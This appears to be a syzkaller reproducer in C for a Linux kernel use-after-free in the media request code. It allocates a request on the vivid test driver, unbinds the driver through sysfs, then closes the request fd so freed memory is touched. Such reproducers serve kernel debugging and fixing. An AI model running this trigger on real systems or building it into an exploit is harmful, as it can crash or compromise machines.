// https://syzkaller.appspot.com/bug?id=0c428898ba03a2cc665fbda5c68fcd9988053277 #include #include #include #include #include #include #include #include #include #ifndef MEDIA_IOC_REQUEST_ALLOC #define MEDIA_IOC_REQUEST_ALLOC _IOR('|', 0x05, int) #endif int main(void) { int media_fd = -1; char path[256]; struct media_device_info info; int found = 0; for (int i = 0; i < 256; i++) { snprintf(path, sizeof(path), "/dev/media%d", i); media_fd = open(path, O_RDWR); if (media_fd >= 0) { memset(&info, 0, sizeof(info)); if (ioctl(media_fd, MEDIA_IOC_DEVICE_INFO, &info) == 0) { if (strcmp(info.driver, "vivid") == 0) { printf("[+] Found vivid media device at %s\n", path); found = 1; break; } } close(media_fd); media_fd = -1; } } if (!found || media_fd < 0) { printf("[-] vivid media device not found.\n"); return 1; } int req_fd = -1; if (ioctl(media_fd, MEDIA_IOC_REQUEST_ALLOC, &req_fd) < 0) { printf("[-] MEDIA_IOC_REQUEST_ALLOC failed: %s\n", strerror(errno)); close(media_fd); return 1; } printf("[+] Allocated media request, fd: %d\n", req_fd); DIR *dir = opendir("/sys/bus/platform/drivers/vivid"); if (!dir) { printf("[-] Failed to open vivid driver directory: %s\n", strerror(errno)); close(req_fd); close(media_fd); return 1; } char dev_name[256] = {0}; struct dirent *ent; while ((ent = readdir(dir)) != NULL) { if (ent->d_name[0] == '.') continue; if (strcmp(ent->d_name, "bind") == 0) continue; if (strcmp(ent->d_name, "unbind") == 0) continue; if (strcmp(ent->d_name, "uevent") == 0) continue; strncpy(dev_name, ent->d_name, sizeof(dev_name) - 1); break; } closedir(dir); if (dev_name[0] == '\0') { printf("[-] Could not find vivid device name in sysfs, using fallback.\n"); strcpy(dev_name, "vivid.0"); } printf("[+] Found vivid device name: %s\n", dev_name); int unbind_fd = open("/sys/bus/platform/drivers/vivid/unbind", O_WRONLY); if (unbind_fd < 0) { printf("[-] Failed to open vivid unbind sysfs file: %s\n", strerror(errno)); close(req_fd); close(media_fd); return 1; } if (write(unbind_fd, dev_name, strlen(dev_name)) < 0) { printf("[-] Failed to write to unbind file: %s\n", strerror(errno)); } else { printf("[+] Unbound vivid driver (%s).\n", dev_name); } close(unbind_fd); close(media_fd); printf("[+] Closed media device fd.\n"); // Close the request fd. // This triggers media_request_release() which accesses the freed media_device. close(req_fd); printf("[+] Closed request fd.\n"); // Wait for asynchronous tasks or RCU sleep(2); printf("[+] Done.\n"); return 0; }